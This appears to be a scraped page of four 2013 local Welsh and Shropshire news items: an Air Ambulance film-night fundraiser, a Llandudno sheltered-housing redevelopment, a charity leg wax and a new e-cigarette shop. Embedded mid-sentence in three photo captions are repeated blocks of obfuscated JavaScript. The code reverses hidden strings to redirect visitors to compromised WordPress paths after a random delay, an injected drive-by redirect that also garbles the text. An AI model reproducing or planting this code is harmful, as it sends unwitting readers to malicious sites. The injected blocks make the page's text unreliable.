Category: News

Pi in the sky fund-raiser in Denbigh keeps Wales Air Ambulance flying

MEET PI ?Charity film night $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to raise funds for Welsh Air Ambulance in conjunction with Village Bakery, Pendine Park, Denbigh Chocolate Club and Denbigh Film Club at Theatr Twm o'r Nant, in Denbigh. Pictured is Mario Kreft, Pendine Park, Mezzo soprano Sioned Terry , Linda Griffiths Manageress of The village Bakery shop in Ruthin , Mark Young of Denbigh Chocolate Shop and Dyfrig Roberts volunteer for Wales Air ambulance .

A feast of film and tasty treats will help keep the life-saving Wales Air Ambulance flying high.

On the menu at Theatr Twm o’r Nant, in Denbigh, at 7pm on Friday, July 5, will be the Oscar-winning film, Life of Pi, and the supremely talented mezzo soprano, Sioned Terry.

The event, Meet Pi and Welsh Cakes, is being organised to raise much-needed funds for the Air Ambulance which costs £1,500 every time it takes off.

The Welsh Cakes are being supplied by the award-winning Village Bakery, who have a shop and cafe in Ruthin while the chocolates are coming from Denbigh Chocolate Shop and Pimms is being provided by care organisation Pendine Park.

Support is also being provided by Denbigh Film Club, Buckley-based printers EWS and PR firm Ceidiog Communication. The Denbigh branch of Barclays bank are also selling tickets and have pledged to match the money raised by the event.

Singing star Sioned Terry, a former teacher at Howell’s School who hails from Bethel, near Caernarfon, and lives in Towyn, is an enthusiastic supporter of the Wales Air Ambulance.

A week or so after the concert she will be joining well-known tenor Rhys Meirion and friends for the annual 200-mile Cerddwn Ymlaen Trek from Swansea to Caernarfon which is also raising money for the Air Ambulance.

For Sioned, it is very much a personal mission after the Wales Air Ambulance came to the rescue of the pastor at her church.

Tim Rowlands, the pastor at North Coast Church, in Towyn, was lucky to escape with his life after a horrific rock climbing accident two years ago.

He fell 20ft from the top of a limestone crag called Tower Hill, near Abergele, and then tumbled a further 60ft down the steep hillside.

His  wife and three children were standing on the ground below and watched in horror as he fell. They rang 999 and the Wales Air Ambulance flew him to Ysbyty Glan Clwyd, Bodelwyddan for treatment.

After the accident, he needed two brain scans and stitches to an eight centimetre long scalp wound.

Tim, said: “They provide a vital, life-saving service so I am particularly grateful to Sioned for her efforts in raising money for them.”

Sioned added: “I think the Air Ambulance probably saved Tim’s life. He needed to be airlifted because they were in a location where they couldn’t get a regular ambulance to.”

Mark Young, who runs Denbigh Chocolate Shop, also has firsthand experience of seeing the Wales Air Ambulance in action.

He was first on the scene when his friend, smallholder Dave Murfitt, broke both legs in a riding accident near Llanrhaeadr, Denbigh.

Mark said: “I believe they saved his life thanks to the speed with which they got to the operating theatre.

“The pilot was actually talking to the surgeon en route  telling him what the condition of the patient was, so seeing it at first hand is so impressive.

“If they hadn’t been to get into that field and then talk to the surgeon and then get him there, I don’t believe he’d be alive and I don’t believe he’d be walking today.”

Mario Kreft MBE, the owner of the Pendine Park care organisation, is a also a big fan.

He said:”This vital service is only able to keep going through charitable donations and the staff are absolutely fantastic. It’s a great charity and we’re delighted to be able to help them.”

It was a sentiment echoed by Lil Jones, from Denbigh Film Club, who said: “Certainly, people in rural Wales people just can’t do without the Wales Air Ambulance. It gets to people quickly and it saves lives.

“It’s a vital resource and it costs a lot of money to run, not just to get the helicopter in the air but also to maintain them.”

Wales Air Ambulance volunteer Dyfrig Roberts, a IT expert from Henllan, near Denbigh, is grateful to the businesses involved in the event.

He said: “The Wales Air Ambulance saves lives every day, 365 days a year.

“I’m very pleased to see that this night has been organised to raise money and that the public is  proud of their Air Ambulance.

“Without the help of the public and fund-raising events like this, there would not be a Wales Air Ambulance Service and that is unthinkable.”

Tuesday June 25th, 2013

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New homes planned in Llandudno

Cartrefi Conwy meet with residents for consultation over plans $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to redevelop Llys Seiriol and the nearby Llys Eryl sheltered accommodation. Pictured: Cartrefi Conwy's Brian Roberts development chairman and Llys Eryl resident Keith Fuller with site plans onlooked by Cartrefi Conwy's Claire Shiland and residents of both Llys Seriol and Llys Eryl

A housing association’s £4 million plan to replace ageing sheltered accommodation with new state-of-the art homes has delighted tenants.

Cartrefi Conwy intend demolishing the 30 flats and bedsits at Llys Seiriol and the adjoining Llys Eryl in St Andrew’s Avenue, in Llandudno, because they’re “not fit for purpose”.

They say the tenants will benefit from much more modern and comfortable accommodation in the new development.

In the meantime, the residents will be found alternative accommodation while the work goes ahead.

Cartrefi Conwy believes the best way forward is to fully redevelop the existing blocks and replace them with a single development on the same site built to the highest and most modern standards.

The association says it believes this plan to be a better option than remodelling the existing blocks as it provides a higher standard of accommodation with improved living & lifestyle for tenants.

The proposed new development, designed by award-winning architects, would feature a total of 30 new homes, including a diverse mix of 26 apartments of one and two bedrooms plus four houses.

The attractive new development, fronting on to St Andrew’s Avenue and designed to give the outward appearance of a row of traditional terraced houses, will be at ground, first and part second floor levels, with the upper floors being served by a lift – something which the existing blocks do not have.

It will be surrounded by landscaped gardens and have parking areas reserved for tenants and their guests.

Each home is designed to be fully accessible for all tenants, with modern, wheelchair-accessible bathroom and fitted kitchen.

The plans – due to be considered by Council planners in July or August – also include a dedicated residents’ lounge on the first floor along with a community room on the ground floor.

Claire Shiland, Cartrefi Conwy’s Head of Neighbourhood Services, said the existing accommodation was not fit for purpose.

She explained that a number of new features in the development had been included at the request of its future residents.

She said: “We plan to incorporate guest bedrooms and Juliette balconies because our tenants have told us that is what they would like to see.

“People who may be opting to live in the new scheme have been consulted at every step of the way because we believe keeping them fully involved in the process is very important.

“During the consultation process we have explained to tenants that redevelopment of the two existing schemes at Llys Seiriol and Llys Eryl gives us the opportunity to provide brand new, purpose-built accommodation which fully meets the needs of older people in the county.”

According to Claire, the tenants would have to move out for the duration of the building works.

All the tenants had the choice of either moving temporarily into another Cartrefi Conwy property or relocating permanently to another of their sheltered accommodation schemes.

It was, she said, very much a matter of individual choice which Cartrefi Conwy had encouraged residents to think carefully about and to discuss it with family and friends.

In either case, Cartrefi Conwy would meet all costs associated with the move, such as removal, disconnection and reconnection of services and the alteration or provision of carpets.

She stressed: “We will ensure tenants are fully supported during their moves and that no tenant is left out of pocket by the modernisation scheme

Alf Davies, 93, who is Llandudno born and bred and served in the Royal Artillery during the Second World War, has lived at Llys Eryl for the past 17 years. A widower for the past 12 years, he has a one-bedroom flat on the ground floor.

Alf said: “After hearing all the details I’ve decided to go into temporary accommodation and then come back to the new scheme they are planning to build.

“I want to come back because I’ve been really happy here. I have made some good friends amongst my neighbours. Also, I wouldn’t like to leave Llandudno because it’s where I have always lived.

“At the meeting we were told that the new place would be very modern and have all the latest facilities and that the association will pay all the costs of moving out and back in.

“This is good news and I think we were all very happy to hear it.”

Also planning to move back to a new, modern flat on the same site is one of Alf Davies’s neighbours, 77-year-old Olwen Rowlands, a widow who has lived at Llys Eryl for the past 10 years.

She said: “I have said that I definitely want to come back to the new development after a temporary move somewhere else. It would be a brand new building with much better facilities.

“It also helps that Cartrefi Conwy is planning to pay all our costs for moving out and back again.

“I’ve been very happy at Llys Eryl because the neighbours are just like one big happy family. They all keep an eye out for each other and I wouldn’t want to leave them.

“I’m also glad they are planning to build the new homes in the same site because it’s so convenient for the town with a regular bus service.”

Among those who have decided to move away permanently is 71-year-old Keith Fuller, who has had a bed-sit in Llys Seiriol for the past six years.

He said: “Although I’ve enjoyed living here and would be quite happy to stay, I have been offered a one-bedroom flat with Cartrefi Conwy in Betws-y-Coed where I lived for 30 years.

“The flat, which I have been shown around, is certainly an improvement on what I have now, so it’s been arranged for me to move in sometime in the next few weeks when the carpets have been fitted.

“It’s good that the association is paying for all of this and I am very happy with the way things have turned out.”

In charge of the whole complex re-location process is the Senior Warden for Llys Seiriol and Llys Eryl, Nerys Velduizen, who said: “I’ll be keeping a close eye on tenant support during the entire period of moving out and moving back into the new development.

“Most of our tenants want to stay fairly local, so it’s a question of finding them suitable accommodation in the new development or at one of our other schemes in the area.

“The main part of my job is to provide support to tenants and I’ll be helping them with everyday things such as carpets and curtains to make the whole thing go as smoothly as possible. If they have a problem they can just come to me and I’ll help them sort it out.

“I have been with Cartrefi Conwy for quite a few years but I’ve never been involved in anything like this before. It’s quite a challenge but I’m looking forward to it very much.”

Brian Roberts, who is an independent board member of Cartrefi Conwy and Chairman of its Development Committee, said: “The planned new development is an opportunity to provide accommodation and services which go beyond the traditional expectations of sheltered housing.

“Benefits include a staff presence during the working day and 24 hour emergency responsive alarm service. “Facilities include a multi-purpose communal space with kitchen, dedicated lounge/lobby room for residents, mobility scooter storage, landscaped garden and patio area, dedicated on-site parking, guest room accommodation and a lift providing access to all floors.

“There will also be a busy programme of social activities and events and the planned new development is in a convenient location for town centre shops and transport links.”

Tuesday June 25th, 2013

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News

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Tayler’s painful leg wax in Wrexham to fund challenging trip into Africa

Tayler Davies, senior assistant at Bur$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tons in Eagles Meadow goes through the pain of having his legs waxed for charity at Salon Ial, Yale college by his friend 16-year-old Sarah Jones who is a first year beauty therapy student at the college and is raising money for Challenge Africa. Pictured is Tayler Davies during the waxing with Sarah Jones ,Assesor and Salon Manager Sarah Edwards, Beth White and Louise Ellis.

A plucky senior assistant at a menswear store pushed himself through the pain barrier to support a charity that provides a better life for underprivileged children in Africa.

Tayler Davies, who works at Burton’s at the Eagles Meadow shopping centre, in Wrexham, was given leave by his bosses to step out from behind the till and nip across to the Iâl Beauty Salon at nearby Yale College for an appointment with fear.

Because waiting for him beside the treatment couch was his friend, 16-year-old Sarah Jones, who gleefully proceeded to wax both his legs while he winced in agony as hundreds of hairs were ripped out by the roots.

Tayler’s excruciating experience was one of the first fund-raising events aimed at collecting enough cash to help send Sarah, along with 10 big-hearted fellow students from Yale, on a 9,000 special mission to South Africa in February next year.

As part of the college’s latest Challenge Africa project, they will be based in the township of Manenberg near Cape Town and will work with underprivileged children there and at orphanages in the area.

The intrepid group, who are all in late teens or early twenties, have been drawn from various courses at Yale including Public Services, Child Care and Beauty Therapy.

They have each been tasked with raising at least £1,400 to pay for their trip and as Sarah, who lives at Sychdyn near Mold and attended Argoed High School, Alltami until last year, has just learned how to perform the perfect leg waxing, that’s exactly what she chose to do as her first money-spinning venture.

Tayler, 22, lives in Wrexham and has worked for Burton’s for six years, transferring to the Eagles Meadow store three months ago from the branch in Broughton Park.

He was quick to step up the mark and volunteer when Sarah told him she was seeking a “victim” for her sponsored leg waxing exercise.

On the big day and lying gingerly on the couch as Sarah stirred up a big bowl of wax ready for the treatment, he admitted he was very apprehensive about what was going to happen to his leg hair but determined to help his friend raise as much cash as possible.

He said his friends and colleagues had already pledged £100 in sponsorship which was matched by Sarah’s mates to the tune of £60.

Seconds later, the first six-inch strip of wax-dipped paper was torn rapidly away from his leg, taking with it a clump of hairs and leaving Tayler wincing in agony.

This torture was repeated another 20-30 times until both his legs were totally devoid of covering around an hour later.

After his ordeal was at last over, he said: “It was pretty painful but not nearly as bad as I expected.

“My legs look a bit like a plucked frozen chicken but I don’t mind too much because it’s for a very good cause.

“I’ve never done anything like this before and after today I don’t think I’d like to go through it again. I’m just glad I was able help Sarah raise a bit of money for her trip.”

Sarah said: “I’m very grateful to Tayler for doing this. Waxing can be a bit painful, I know, but I tried to be as gentle as quick as possible with him.

“I also made some fairy cakes to sell in the salon and by the end of the day that and the waxing had raised about £200.

“Over in South Africa the group from Yale will be helping children in deprived schools and orphanages, so it is a really worthwhile cause.

“Among the things we will be doing with the children is helping them to improve their IT skills by working with computers, which is something most of us take for granted in our country.

“The trip It should be very interesting and rewarding and we’re all looking forward to it very much.”

Joining Sarah on the 12-day Challenge Africa expedition are fellow Yale learners Catrin Crawshaw, Mica Gray, Lauren Jones, Kayleigh Jones, Gemma Lawrence, Rose Morgan, Natasha Parnham, Laura Penny, Gabriella Risi and Chloe Rogers.

Thursday June 20th, 2013

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Sai escapes Saddam to start new e-cigarette business in Shrewsbury

Heavenly Brides Pride hill Shopping centre, Shrewsbury. Pictured is Suzanne Heavans .

ELECTRONIC cigarettes have turned life around for Saiwan Elchikhani – an Iraqi Kurd who escaped Saddam Hussein’s Iraq and has now started a new life and a new business in Shrewsbury.

After 12 years of heavy smoking, the 30-year-old has quit tobacco for the electronic cigarette.

And Shropshire now has its first shop dedicated to the e-cigarette which offers no tar, no carbon monoxide, no ammonia, no smells, no ash and no second-hand smoke dangers.

Vapes has just opened in Pride Hill Shopping Centre at Shrewsbury, dedicated to selling high quality UK-made Vapestick electronic cigarettes.

“I had been smoking for over 12 years, about 20-30 a day but I stopped last September because of the electronic cigarette, it worked for me and I have tried everything.

“I love smoking and I hate smoking at the same time,” said Sai. “It was not healthy and it affected the people around me. I saw electronic cigarettes and thought I would try it. I tried disposable at first and it did not work but when I tried the Vapestick I loved it and if it worked for me it will work for most people.”

Sai, who lives at Four Crosses, came to the UK in 2002 to escape Saddam Hussein’s war against the Kurds.

His father was a smoker and he started at about 18. Most people he knew smoked and tobacco was cheap.

“Smoking is an addiction. Even people who have given up for years, have a good meal and still feel like a cigarette. Some people will never give up.

“But the electronic cigarette is encouraging and I see it as the future. If you try this and it works why smoke something which is harmful?

“My idea in opening the shop was to make it easier for people to deal face to face with someone who is selling the product and believes in it. They can come in and sample the product, see if they like it.

“It is also a British product. I have worked at all sorts of things, in factories, fork lift truck driver, customer services, but I think this product is great and that is why I am starting my first business.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “We are always pleased to welcome new businesses to Shrewsbury, especially something that is as innovative as Sai’s.

“It’s another first for the shopping centres and we hope it will help a lot more people kick the habit.”

Sai, who will be open seven days a week, sells e-cigarettes ranging from £8 disposables to the highest quality at £59.99 but says when you consider your tobacco addiction could be costing around £10 a day, the e-cigarette would pay for itself in four or five days.

Vapestick electronic cigarettes produce a water-based vapour that can come with, or without, nicotine to give the same smoking sensation as with tobacco smoke.

Sai’s partner Becky Malloy said e-cigarettes can be viewed as an aid to giving up smoking or for those who want to continue smoking in a more sociable way.

At present they can be used in pubs – where normal tobacco cigarettes are banned. Becky, whose family run a hotel near Welshpool, said: “We always recommend that if you plan to use an e-cigarette in a pub you should first have a word with whoever is in charge to let them know because a lot of people do not know or understand e-cigarettes.”

Smoking an electronic cigarette has become known as vaping and Vapestick is a founding board member of ECITA – the UK’s Trade Association for the Electronic Cigarettes Industry.

Electronic cigarettes were introduced to the market nearly seven years ago and were available only in China at first before the e-cigarette’s inventor brought them to Europe and North America.

A comprehensive website explaining the e-cigarette technology can be found at www.vapestick.co.uk

Wednesday June 19th, 2013

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News

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